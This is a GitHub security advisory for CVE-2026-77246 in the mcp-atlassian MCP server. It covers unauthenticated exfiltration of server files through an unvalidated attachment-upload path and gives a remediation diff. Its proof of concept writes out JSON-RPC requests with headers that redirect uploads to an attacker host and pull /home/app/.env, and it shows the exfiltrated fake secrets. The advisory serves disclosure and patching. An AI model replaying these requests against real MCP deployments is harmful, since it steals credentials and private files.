GitHub Advisoryadvisory · PyPI
GHSA-wv8v-v4c5-v75j MCP Atlassian: MCP HTTP Client Server-Local File Exfiltration via Unvalidated Attachment Upload Path
HIGH
Official page ↗
- Aliases
- CVE-2026-77246
- Ecosystem
- PyPI
- Packages
- mcp-atlassian
- Severity
- High
- CVSS vector
- CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
- Weaknesses
- CWE-200, CWE-22, CWE-441
- Reviewed
- 2026-09-22
Affected packages
• PyPI mcp-atlassian: < 0.22.0 → fixed in 0.22.0
Description
Summary
The `mcp-atlassian` server exposes an MCP tool (`confluence_upload_attachment` and the Jira attachment variant) that accepts an arbitrary server-side file path and opens it for upload without any path validation. When the server is deployed in HTTP transport mode (`streamable-http` or `sse`), a remote, unauthenticated attacker can supply attacker-controlled Atlassian service headers (`X-Atlassian-Confluence-Url` / `X-Atlassian-Confluence-Personal-Token`) to redirect the upload to an attacker-controlled endpoint, then pass an arbitrary `file_path` (e.g. `/etc/passwd`, `~/.env`, SSH private keys, cloud credentials) to exfiltrate any file readable by the server process. No prior account, session token, or `Authorization` header is required. The vulnerability was confirmed through both static code analysis (Phase 1) and a live Docker-based proof-of-concept (Phase 2).
---
Details
Data flow (source → sink)
| Step | Location | Role |
|------|----------|------|
| 1 | `src/mcp_atlassian/servers/main.py:498-504` | Middleware extracts `X-Atlassian-Confluence-Url` and `X-Atlassian-Confluence-Personal-Token` from incoming HTTP request headers. |
| 2 | `src/mcp_atlassian/servers/main.py:584-595` | When no `Authorization` header is present but service headers are, `user_atlassian_auth_type` is set to `"pat"`, effectively bypassing authentication requirements. |
| 3 | `src/mcp_atlassian/utils/urls.py:97-104` | `validate_url_for_ssrf` blocks only `localhost`, RFC 1918 private ranges, and a small set of metadata hostnames. An attacker-controlled public domain or an allow-listed Docker container hostname (`MCP_ALLOWED_URL_DOMAINS`) passes this check. |
| 4 | `src/mcp_atlassian/servers/dependencies.py:544-545` | The attacker-controlled URL is injected directly as `url=` into `ConfluenceConfig`, constructing a `ConfluenceFetcher` pointed at the attacker's server. |
| 5 | `src/mcp_atlassian/servers/confluence.py:1358-1361` | The MCP tool argument `file_path` is forwarded to `confluence_fetcher.upload_attachment()` without any sanitization. |
| 6 | `src/mcp_atlassian/confluence/attachments.py:64-79` | The path is converted to an absolute path via `os.path.abspath()` and checked for existence only. `validate_safe_path()` — already used on download paths — is never called here, leaving no directory restriction in place. |
| 7 | `src/mcp_atlassian/confluence/attachments.py:477` | Sink: `files = {"file": (filename, open(file_path, "rb"))}` — the file is opened and sent as multipart to the attacker's server. |
| 8 | `src/mcp_atlassian/jira/attachments.py:374-386` | Parallel Jira sink: same `os.path.abspath()` pattern, no `validate_safe_path`, then `open(file_path, "rb")`. |
Key code evidence
```python
src/mcp_atlassian/confluence/attachments.py
64: if not os.path.isabs(file_path):
65: file_path = os.path.abspath(file_path)
68: if not os.path.exists(file_path):
77: filename = os.path.basename(file_path)
477: files = {"file": (filename, open(file_path, "rb"))} # ← sink
```
```python
src/mcp_atlassian/jira/attachments.py
374: if not os.path.isabs(file_path):
375: file_path = os.path.abspath(file_path)
386: with open(file_path, "rb") as file: # ← sink
387: attachment = self.jira.add_attachment(
```
Why `validate_safe_path` is absent: The function exists in the codebase and is correctly applied to download/read operations, but it was not applied to the upload path. This asymmetry means an attacker can read any file the server process can access, even though the intent was clearly to restrict path access.
Default configuration enables the attack: `READ_ONLY_MODE` defaults to `false`, making write tools (including attachment upload) active by default. HTTP transport is a first-class, documented production deployment mode (README, Helm chart, multi-tenant header-auth design).
Recommended remediation
```diff
--- a/src/mcp_atlassian/confluence/attachments.py
+++ b/src/mcp_atlassian/confluence/attachments.py
• if not os.path.isabs(file_path):
• file_path = os.path.abspath(file_path)
+ file_path = str(validate_safe_path(file_path))
filename = os.path.basename(file_path)
• files = {"file": (filename, open(file_path, "rb"))}
+ with open(file_path, "rb") as file_obj:
+ files = {"file": (filename, file_obj)}
+ response = self.confluence._session.put(
+ url, headers=headers, files=files, data=data
+ )
• response = self.confluence._session.put(
• url, headers=headers, files=files, data=data
• )
--- a/src/mcp_atlassian/jira/attachments.py
+++ b/src/mcp_atlassian/jira/attachments.py
• if not os.path.isabs(file_path):
• file_path = os.path.abspath(file_path)
+ file_path = str(validate_safe_path(file_path))
```
Additional hardening: reject header-based service URLs before fetcher construction using `validate_url_for_ssrf` with a strict allowlist, and consider defaulting `READ_ONLY_MODE=true` for remotely reachable deployments.
---
PoC
Prerequisites
• Docker (CLI + daemon) available on the attacker machine.
• Python 3.x with `httpx` installed (`pip install httpx`).
• The `mcp-atlassian` repository cloned locally (commit `d8bc786` or compatible).
Step 1 — Build the victim image
The `Dockerfile` at `vuln-001/Dockerfile` builds the `mcp-atlassian` server and plants a simulated `.env` file at `/home/app/.env` containing fake secrets:
```
SECRET_DEPLOY_KEY=PoC_ExFiLtRaTeD_s3cr3t_k3y_d0_n0t_sh4r3
DB_PASSWORD=pr0duct10n_d4tab4se_p4ss
AWS_SECRET_ACCESS_KEY=AKIA_FAKE_KEY_FOR_POC_ONLY
```
```bash
docker build -t mcp-atlassian-vuln001 \
-f vuln-001/Dockerfile \
/path/to/mcp-atlassian-repo
```
Step 2 — Run the automated PoC script
The `poc.py` script orchestrates the full attack:
```bash
python3 poc.py \
--repo /path/to/mcp-atlassian-repo \
--victim-port 18000 \
--attacker-port 18888
```
The script performs the following actions automatically:
1. Creates a Docker network (`poc-vuln001-net`).
2. Starts an attacker HTTP server container (`poc-vuln001-attacker`, port `18888`) that mimics a Confluence REST API and records multipart upload bodies.
3. Starts the victim MCP server container (`poc-vuln001-victim`, port `18000`) with `READ_ONLY_MODE=false` and `MCP_ALLOWED_URL_DOMAINS=poc-vuln001-attacker`.
4. Sends the following MCP JSON-RPC sequence to `http://127.0.0.1:18000/mcp`:
```python
Step 4a — initialize (no Authorization header)
headers = {
"X-Atlassian-Confluence-Url": "http://poc-vuln001-attacker:8888",
"X-Atlassian-Confluence-Personal-Token": "fake-pat-token-for-poc",
}
POST /mcp {"jsonrpc":"2.0","method":"initialize","id":1,
"params":{"protocolVersion":"2024-11-05","capabilities":{},
"clientInfo":{"name":"vuln001-poc","version":"1.0"}}}
Step 4b — trigger file exfiltration
POST /mcp {"jsonrpc":"2.0","method":"tools/call","id":3,
"params":{"name":"confluence_upload_attachment",
"arguments":{"content_id":"123",
"file_path":"/home/app/.env"}}}
```
5. Queries `http://127.0.0.1:18888/exfil` and verifies that the attacker server received the file contents.
Expected result
The attacker server logs and `/exfil` endpoint confirm receipt of the victim file:
```
[attacker] * EXFILTRATED FILE CONTENT START *
SECRET_DEPLOY_KEY=PoC_ExFiLtRaTeD_s3cr3t_k3y_d0_n0t_sh4r3
DB_PASSWORD=pr0duct10n_d4tab4se_p4ss
AWS_SECRET_ACCESS_KEY=AKIA_FAKE_KEY_FOR_POC_ONLY
[attacker] * EXFILTRATED FILE CONTENT END *
```
Phase 2 result: PASS — file exfiltration confirmed via live Docker PoC.
---
Impact
Vulnerability class: Unauthenticated server-side file exfiltration through an unvalidated path passed to an MCP attachment upload tool, combined with attacker-co…
Related
Alias · CVE (1)
- CVE-2026-77246 MCP Atlassian is a Model Context Protocol (MCP) server for Atlassian products (Confluence and Jira). vulnerability
References
- https://github.com/sooperset/mcp-atlassian/security/advisories/GHSA-wv8v-v4c5-v75j web
- https://github.com/sooperset/mcp-atlassian/pull/1448 web
- https://github.com/sooperset/mcp-atlassian/commit/b041733473f95119dd539542a43c280737a8e460 web
- https://github.com/sooperset/mcp-atlassian package
- https://github.com/sooperset/mcp-atlassian/releases/tag/v0.22.0 web